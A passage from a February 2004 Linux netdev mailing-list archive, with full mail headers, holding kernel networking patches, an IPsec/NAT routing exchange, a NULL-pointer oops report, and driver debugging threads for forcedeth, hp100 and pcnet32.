linux-2.6.2/net/xfrm/xfrm_user.c 2004-02-24 10:09:37.839560352 +0100 @@ -1052,9 +1052,8 @@ static int xfrm_send_acquire(struct xfrm struct sk_buff *skb; size_t len; - len = RTA_LENGTH(sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr); - len = RTA_ALIGN(len); - len += NLMSG_ALIGN(NLMSG_LENGTH(sizeof(struct xfrm_user_acquire))); + len = RTA_SPACE(sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr); + len += NLMSG_SPACE(sizeof(struct xfrm_user_acquire)); skb = alloc_skb(len, GFP_ATOMIC); if (skb == NULL) return -ENOMEM; @@ -1151,9 +1150,8 @@ static int xfrm_send_policy_notify(struc struct sk_buff *skb; size_t len; - len = sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr; - len = RTA_ALIGN(RTA_LENGTH(len)); - len += NLMSG_ALIGN(NLMSG_LENGTH(sizeof(struct xfrm_user_polexpire))); + len = RTA_SPACE(sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr); + len += NLMSG_SPACE(sizeof(struct xfrm_user_polexpire)); skb = alloc_skb(len, GFP_ATOMIC); if (skb == NULL) return -ENOMEM; --------------020103020704050801010406-- From okir@suse.de Tue Feb 24 02:18:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 02:19:00 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OAIjKO012665 for ; Tue, 24 Feb 2004 02:18:46 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 80A5C22D323; Tue, 24 Feb 2004 10:32:34 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id 58D2FEA8B; Tue, 24 Feb 2004 10:32:34 +0100 (CET) Date: Tue, 24 Feb 2004 10:32:34 +0100 From: Olaf Kirch To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-ID: <20040224093234.GB7886@suse.de> References: <20040217121726.GD8554@suse.de> <20040221130853.4c98bad6.davem@redhat.com> <20040223094209.GA12663@suse.de> <20040223094216.66602afd.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <20040223094216.66602afd.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 3545 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev On Mon, Feb 23, 2004 at 09:42:16AM -0800, David S. Miller wrote: > Therefore, the only bug was returning -EAGAIN unconditionally and that's > what is fixed by the correct half of your changes. > > TCP does the same thing Olaf, and there is no way I'm adding the gross poll > hacks there :-) Okay, I can live with that. I will push this info to our posix guys and let them chew on it. UDPv6 needs the exact same fix BTW. Cheers, Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From mludvig@suse.cz Tue Feb 24 02:23:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 02:23:40 -0800 (PST) Received: from kerberos.suse.cz (ns.suse.cz [82.208.2.84]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OANYKO013053 for ; Tue, 24 Feb 2004 02:23:35 -0800 Received: from chimera.suse.cz (chimera.suse.cz [10.20.0.2]) by kerberos.suse.cz (****** SuSE CR *******) with ESMTP id 648DD4FB80 for ; Tue, 24 Feb 2004 11:23:28 +0100 (MET) Received: by chimera.suse.cz (Postfix, from userid 503) id F15B7504D; Tue, 24 Feb 2004 11:23:27 +0100 (CET) Received: from suse.cz (ozzy.suse.cz [10.20.1.72]) by chimera.suse.cz (Postfix) with ESMTP id D01934538; Tue, 24 Feb 2004 11:23:25 +0100 (CET) Message-ID: <403B261D.90000@suse.cz> Date: Tue, 24 Feb 2004 11:23:25 +0100 From: Michal Ludvig Organization: SuSE CR, s.r.o. User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: "Samofatov, Nickolay" Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: 2.6.2 issues (IPSec+NAT, RFC2684 bridge) References: <66187D861C1747499BE1365B74E036917B5F82@mdant.atkin.com> In-Reply-To: <66187D861C1747499BE1365B74E036917B5F82@mdant.atkin.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-DCC-x-mailer.co.uk-Metrics: chimera 1192; Body=2 Fuz1=2 Fuz2=2 X-archive-position: 3546 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mludvig@suse.cz Precedence: bulk X-list: netdev Samofatov, Nickolay told me that: > Here is a list of minor issues I encountered when migrated my AMD64 > machine to 2.6.2 kernel (64-bit). > > 1) Attempts to combine IPSec and NAT result in various kinds of > failures. The easiest to reproduce is reliable hard system lock-up when > IKE session needs to be initiated because of request from masqueraded > machine. > (workaround is to run cron job keeping IPSec connection active) You probably hit the same bug as I did. When a SPD policy expires the notification to userspace fails. Please try the patch from here and let me know if it helps: http://marc.theaimsgroup.com/?l=linux-netdev&m=107761652405761&w=2 > 2) I had to add following line to my routing rules to get IPSec working > locally: > -- > route add -m 172.20.0.0 netmask 255.255.0.0 gw 172.21.113.1 > -- > 172.20.0.0 here is VPN subnet I'm interested in. 172.21.113.1 is the > address assigned to eth0 interface which is also IP address of this > machine in VPN. > Before I added this rule TCP connections from localhost failed with no > route to host. The result works for most applications, but not all. For > example, SSH fails. > (my workaround is to use SOCKS5 proxy running locally for local SSH > connections over IPSec tunnels) Try to specify source address as well: ip route add 172.20.0.0/16 via 172.21.113.1 src 172.21.x.x > If there is interest, I may provide as much information as required to > resolve the problems. If the IPsec issues still remain, send me more information so that I could reproduce it here. Michal Ludvig -- SUSE Labs mludvig@suse.cz | Cray is the only computer (+420) 296.545.373 http://www.suse.cz | that runs an endless loop Personal homepage http://www.logix.cz/michal | in just four hours. From felipe_alfaro@linuxmail.org Tue Feb 24 05:48:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 05:49:00 -0800 (PST) Received: from kerberos.felipe-alfaro.com (153.Red-213-4-13.pooles.rima-tde.net [213.4.13.153]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ODmtKO021950 for ; Tue, 24 Feb 2004 05:48:56 -0800 Received: from [192.168.0.100] (teapot.felipe-alfaro.com [192.168.0.100]) by kerberos.felipe-alfaro.com (Postfix) with ESMTP id 7BC5442E9C; Tue, 24 Feb 2004 14:48:48 +0100 (CET) Subject: [IPSec] connect: Resource temporarily unavailable From: Felipe Alfaro Solana To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1077630520.799.7.camel@teapot.felipe-alfaro.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8) Date: Tue, 24 Feb 2004 14:48:41 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3547 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipe_alfaro@linuxmail.org Precedence: bulk X-list: netdev When using Racoon to manage SAs between two IPv4/IPSec hosts running 2.6 kernels and IPSec in transport mode with mandatory ESP/AH support, the first packet exchange between both hosts triggers IKE Phase 1 but, instead of queueing the userspace packet that triggered the IKE exchange until IKE Phase 2 has ended and the SA has been established, userspace receives the following errpr: connect: Resource temporarily unavailable Any further attempt to exchange packets between both hosts succeeds after a while, (once the IKE Phase 2 ends and the SA has been correctly established). Is this a bug? Shouldn't the kernel queue (hold) userspace packets until IKE Phase 2 has completed (either successfully or with error)? Why am I receiving "connect: Resource temporarily unavailable" error when there is no SA set up? This is reproducible by either pinging or telnetting the other peer or the IPSec link. Both hosts are running 2.6.3 kernels and ipsec-tools 0.2.2. Once IKE Phase 2 ends, ping and telnet work with no error and tcpdump reveals that AH/ESP protocols are being used. From ethy@inexo.com.br Tue Feb 24 07:19:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 07:19:14 -0800 (PST) Received: from quantum.inexo.com.br (root@quantum.inexo.com.br [200.231.48.33]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OFIwKO024721 for ; Tue, 24 Feb 2004 07:18:59 -0800 Received: from [192.168.8.2] (node1.inexo.com.br [200.231.49.241]) by quantum.inexo.com.br (8.12.9/8.11.2) with ESMTP id i1OFIkxl017748 for ; Tue, 24 Feb 2004 12:18:49 -0300 Date: Tue, 24 Feb 2004 12:18:41 -0300 (BRT) From: "Ethy H. Brito" To: netdev@oss.sgi.com Subject: Re: shaper.c (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3548 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ethy@inexo.com.br Precedence: bulk X-list: netdev Hello Is anybody in here? I was directed to this email by Mr. Allan Cox. Is this a maillist (i'm not a subscriber - directions please if so) or it is a human driven mailbox? I need to "talk" about a problem in the kernel shaper.c module. Regards Ethy H. Brito /"\ InterNexo Ltda. \ / CAMPANHA DA FITA ASCII - CONTRA MAIL HTML +55 (12) 3941-6860 X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL S.J.Campos - Brasil / \ ---------- Forwarded message ---------- Date: Sat, 21 Feb 2004 17:48:03 -0500 From: Alan Cox To: Ethy H. Brito Cc: Alan Cox Subject: Re: shaper.c On Fri, Feb 20, 2004 at 07:21:29PM -0300, Ethy H. Brito wrote: > The listing stays several minutes (up to one hour or so) without any drops and > then drops a few packets. I couldn't spot why. > > Does this ring any bell to you? > SHAPERCB(skb)->shapeclock been zero smells bad? It certainly shouldnt be, but I've not dealt with the code since 2.2 so Im not sure how it has changed to break this. Asking netdev@oss.sgi.com may be better From madis@ats.cyber.ee Tue Feb 24 08:07:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 08:07:33 -0800 (PST) Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OG7SKO026884 for ; Tue, 24 Feb 2004 08:07:29 -0800 Received: Message by Barricade atsgw.cyber.ee with ESMTP id i1OG7JBk031363; Tue, 24 Feb 2004 18:07:19 +0200 Date: Tue, 24 Feb 2004 18:04:51 +0200 (EET) From: Madis Janson To: Carl-Daniel Hailfinger cc: netdev@oss.sgi.com Subject: Re: forcedeth unknown events 0x21 In-Reply-To: <4001D113.3030302@gmx.net> Message-ID: References: <3FE6678B.5070006@gmx.net> <4001D113.3030302@gmx.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-info: Headers changed by Barricade X-archive-position: 3549 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: madis@ats.cyber.ee Precedence: bulk X-list: netdev On Sun, 11 Jan 2004, Carl-Daniel Hailfinger wrote: > madis wrote: > > On Mon, 22 Dec 2003, Carl-Daniel Hailfinger wrote: > > > >>Madis Janson wrote: > >> > >>>When trying forcedeth_2_6_patch_v19.txt, i got the following message > >>>fastly repeating after ifup eth0: > >>> > >>>"eth0: received irq with unknown events 0x21. Please report" > >>> > >>>and it didn't work eighter (ifup just stalled). > [...] > >> > >>Please try the attached patch on top of it and report back if it works. > > > > the unknown events message disappeared, > > but the network did not start to work... > > Do you use any powermanagement software (athcool, lvcool, fvcool, coolon, > athlon cooling patch, anything STPGNT related)? Does your BIOS list > anything STPGNT related? > I didn't found anything STPGNT related to be installed or in BIOS. But seems that the reason for it to not work was actually stupid cable modem, that remembered other end network cards hardware address and refused to respond. That solved, the 2.6.3 kernels forcedeth works, but about half of the packets are dropped (rtl8139 used for same thing drops almost nothing). Also it complains now very much about "unknown event 0x1" (instead of 0x21 which was complained when I tried before). From davem@redhat.com Tue Feb 24 10:12:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 10:12:53 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OICmKO005955 for ; Tue, 24 Feb 2004 10:12:49 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1OIAub11272; Tue, 24 Feb 2004 13:10:56 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1OIAui10084; Tue, 24 Feb 2004 13:10:56 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1OIArkC006001; Tue, 24 Feb 2004 13:10:54 -0500 Date: Tue, 24 Feb 2004 10:10:55 -0800 From: "David S. Miller" To: Felipe Alfaro Solana Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [IPSec] connect: Resource temporarily unavailable Message-Id: <20040224101055.4f66ecff.davem@redhat.com> In-Reply-To: <1077630520.799.7.camel@teapot.felipe-alfaro.com> References: <1077630520.799.7.camel@teapot.felipe-alfaro.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3550 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 24 Feb 2004 14:48:41 +0100 Felipe Alfaro Solana wrote: > connect: Resource temporarily unavailable Known behavior, and it's unlikely to be changing soon as doing the correct thing here requires a lot of work. From jgarzik@pobox.com Tue Feb 24 10:30:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 10:30:28 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OIUKKO011174 for ; Tue, 24 Feb 2004 10:30:23 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33391 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AvhJy-0004Lu-Rh; Tue, 24 Feb 2004 18:30:18 +0000 Message-ID: <403B982F.2060504@pobox.com> Date: Tue, 24 Feb 2004 13:30:07 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: akpm , netdev@oss.sgi.com Subject: Re: [PATCH] skfddi: missing comma References: <20040223220156.1e618c03.rddunlap@xenotime.net> In-Reply-To: <20040223220156.1e618c03.rddunlap@xenotime.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3551 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied all four "[janitor] " patches, but this one patch(1) rejected. From greearb@candelatech.com Tue Feb 24 10:35:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 10:35:49 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OIZkKO011968 for ; Tue, 24 Feb 2004 10:35:46 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.10) with ESMTP id i1OIZjPR001684 for ; Tue, 24 Feb 2004 10:35:45 -0800 Message-ID: <403B9981.5050103@candelatech.com> Date: Tue, 24 Feb 2004 10:35:45 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "'netdev@oss.sgi.com'" Subject: pktgen and timers in 2.6 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3552 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev The pktgen module often wants to sleep for a very short amount of time (1ms, maybe even .01 ms) between sending packets.... Currently, it busy-spins to achieve this delay. Would the real-time timers in 2.6 allow us to run pktgen off of timers instead so that we do not need to sleep or spin? I have looked around, but I have not been able to find any docs on the new real-time timer features. Is there any documentation for how to use this in kernel modules? Thanks, Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From rddunlap@osdl.org Tue Feb 24 13:57:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 13:57:54 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OLvoKO023295 for ; Tue, 24 Feb 2004 13:57:50 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1OLviE11628; Tue, 24 Feb 2004 13:57:44 -0800 Date: Tue, 24 Feb 2004 13:57:54 -0800 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: bwindle@fint.org Subject: Fw: 2.6.3: oops reading /proc/net/rpc/auth.unix.ip/content Message-Id: <20040224135754.53e598ee.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3553 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Tue, 24 Feb 2004 16:31:10 -0500 (EST) From: Burton Windle To: linux-kernel@vger.kernel.org Subject: 2.6.3: oops reading /proc/net/rpc/auth.unix.ip/content Hello. I just upgraded a workstation from 2.6.2 to 2.6.3, and am now seeing an oops on boot when my init scripts run the nfs-kernel-server script. The oops actually happens whenever trying to read /proc/net/rpc/auth.unix.ip/content Linux version 2.6.3 (root@jekyll) (gcc version 3.3.2 (Debian)) #11 Mon Feb 23 22:23:26 EST 2004 Unable to handle kernel NULL pointer dereference at virtual address 00000044 printing eip: c0396beb *pde = 00000000 Oops: 0002 [#1] CPU: 0 EIP: 0060:[] Not tainted EFLAGS: 00010246 EIP is at content_open+0x5b/0x80 eax: 00000000 ebx: cfb49628 ecx: 00000000 edx: cf92d738 esi: 00000000 edi: cfb29df4 ebp: cfc45f3c esp: cfc45f28 ds: 007b es: 007b ss: 0068 Process grep (pid: 225, threadinfo=cfc44000 task=cfe01440) Stack: cfb29df4 c0435e98 cfb29df4 cf9b2c24 ffffffe9 cfc45f58 c015b824 cf9b2c24 cfb29df4 00000000 cffee000 00008000 cfc45f9c c015b76b cf9dfae0 cfff56ec 00008000 00000003 00008000 cffee000 cf9dfae0 cfff56ec cffee000 00008000 Call Trace: [] dentry_open+0xac/0x14c [] filp_open+0x4f/0x5c [] sys_open+0x37/0x80 [] syscall_call+0x7/0xb Code: 89 58 44 89 f0 8b 5d f4 8b 75 f8 8b 7d fc 89 ec 5d c3 8d 76 CONFIG_NET=y CONFIG_PACKET=y CONFIG_UNIX=y CONFIG_NET_KEY=y CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_XFRM=y CONFIG_IPV6_SCTP__=y CONFIG_NETDEVICES=y CONFIG_DUMMY=y CONFIG_NET_ETHERNET=y CONFIG_MII=y CONFIG_NET_VENDOR_3COM=y CONFIG_VORTEX=y CONFIG_NET_TULIP=y CONFIG_TULIP=y CONFIG_DE4X5=y CONFIG_WINBOND_840=y CONFIG_DM9102=y CONFIG_NET_PCI=y CONFIG_NFS_FS=y CONFIG_NFS_V3=y CONFIG_NFSD=y CONFIG_NFSD_V3=y CONFIG_LOCKD=y CONFIG_LOCKD_V4=y CONFIG_EXPORTFS=y CONFIG_SUNRPC=y CONFIG_SMB_FS=y CONFIG_MSDOS_PARTITION=y CONFIG_NLS=y CONFIG_DEBUG_KERNEL=y CONFIG_DEBUG_STACKOVERFLOW=y CONFIG_DEBUG_SLAB=y CONFIG_DEBUG_IOVIRT=y CONFIG_MAGIC_SYSRQ=y CONFIG_DEBUG_SPINLOCK=y CONFIG_DEBUG_SPINLOCK_SLEEP=y CONFIG_FRAME_POINTER=y Thanks, Burton Windle - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ -- ~Randy From bdschuym@pandora.be Tue Feb 24 14:22:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 14:22:10 -0800 (PST) Received: from gyge.telenet-ops.be (gyge.telenet-ops.be [195.130.132.48]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1OMLuKO028598 for ; Tue, 24 Feb 2004 14:21:57 -0800 Received: from localhost (astra.telenet-ops.be [195.130.132.58]) by gyge.telenet-ops.be (Postfix) with SMTP id 05BD237EE6; Tue, 24 Feb 2004 22:47:23 +0100 (MET) Received: from 192.168.0.138 (D5762B56.kabel.telenet.be [213.118.43.86]) by astra.telenet-ops.be (Postfix) with ESMTP id A448B37E88; Tue, 24 Feb 2004 22:47:22 +0100 (MET) From: Bart De Schuymer To: "Simon Barber" , "Kernel Mailing List" , Subject: Re: Problem with ebtables target that changes frame protocol Date: Tue, 24 Feb 2004 22:47:20 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402242247.20875.bdschuym@pandora.be> X-archive-position: 3554 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Monday 23 February 2004 23:41, Simon Barber wrote: > I have written an ebtables target that changes the ethernet protocol of > a received frame (it runs in the broute chain). I have been working on > 2.4.21 sources - Unfortunately inside netif_rx the skb->protocol is > looked at before the bridge code is called - and then acted upon after. > Hence if the bridge code changes the protocol the incorrect protocol is > used to process the frame. As the variable type is only used after the bridge code, I think it is best to postpone the initialization of type until after the bridge code. This is of course of no concern to the standard 2.4 kernel (as ebtables isn't in 2.4). This problem exists in the 2.6 kernel, however. I'll make a fix for 2.6 later, unless someone beats me to it. I'm kind of busy at the moment. cheers, Bart From cacophonix@yahoo.com Tue Feb 24 15:36:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 15:36:08 -0800 (PST) Received: from web14004.mail.yahoo.com (web14004.mail.yahoo.com [216.136.175.120]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ONa2KO030899 for ; Tue, 24 Feb 2004 15:36:04 -0800 Message-ID: <20040224233602.36835.qmail@web14004.mail.yahoo.com> Received: from [156.153.255.236] by web14004.mail.yahoo.com via HTTP; Tue, 24 Feb 2004 15:36:02 PST Date: Tue, 24 Feb 2004 15:36:02 -0800 (PST) From: Cacophonix Subject: Re: [PATCH] hp100 -- fixes for new probing. To: Stephen Hemminger Cc: netdev@oss.sgi.com In-Reply-To: <20040223094925.344bc73d@dell_ss3.pdx.osdl.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3555 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cacophonix@yahoo.com Precedence: bulk X-list: netdev Thanks for the suggestion. It appears to be locking up at line 309 in hp100.c, i.e, hp100_page(ID_MAC_ADDR); (called from hp100_isa_probe1() and hp100_read_id() ) thanks, karthik --- Stephen Hemminger wrote: > > There probably is some bug introduced with the recent changes. The driver tries > to handle isa, eisa, and pci all with the same infrastructure. There are two different > probe paths, one for the module and one for the non-module ISA case. Could you add > some > printk's and see if the problem in the hp100_isa_probe code (happens first), or the > PCI probe that happens from: > hp100_module_init -> pci_module_init -> hp100_pci_probe... > __________________________________ Do you Yahoo!? Yahoo! Mail SpamGuard - Read only the mail you want. http://antispam.yahoo.com/tools From jgarzik@pobox.com Tue Feb 24 16:52:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 16:52:17 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P0qBKO003722 for ; Tue, 24 Feb 2004 16:52:12 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33450 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AvnHW-0000H2-5v; Wed, 25 Feb 2004 00:52:10 +0000 Message-ID: <403BF1AE.6050501@pobox.com> Date: Tue, 24 Feb 2004 19:51:58 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" CC: netdev@oss.sgi.com Subject: Re: [e100 netdev-2.6] References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3556 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Applied all six e1000 patches, and this e100 patch, to 2.6. Jeff From brazilnut@us.ibm.com Tue Feb 24 16:59:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 16:59:18 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P0xEKO004177 for ; Tue, 24 Feb 2004 16:59:14 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1P0x4rj359964; Tue, 24 Feb 2004 19:59:04 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1P0x3ar193796; Tue, 24 Feb 2004 17:59:03 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1P0vjs20486; Tue, 24 Feb 2004 16:57:45 -0800 From: Don Fry Message-Id: <200402250057.i1P0vjs20486@DYN318364BLD.beaverton.ibm.com> Subject: [patch 2.6.3] pcnet32 another debug fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 24 Feb 2004 16:57:45 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3557 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev As requested, another fix for pcnet32_debug to have a bunch of bits in increasing order of verbosity, not just one bit. --- linux-2.6.3/drivers/net/almost.pcnet32.c Tue Feb 24 16:40:22 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Tue Feb 24 16:39:18 2004 @@ -2009,7 +2009,7 @@ printk(KERN_INFO "%s", version); if (debug >= 0 && debug < (sizeof(int) - 1)) - pcnet32_debug = 1 << debug; + pcnet32_debug = (1 << debug) - 1; if ((tx_start_pt >= 0) && (tx_start_pt <= 3)) tx_start = tx_start_pt; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Tue Feb 24 17:01:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 24 Feb 2004 17:01:22 -0800 (PST) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1P11FKO004558 for ; Tue, 24 Feb 2004 17:01:15 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e4.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1P118G9880480; Tue, 24 Feb 2004 20:01:08 -0500 Received: from 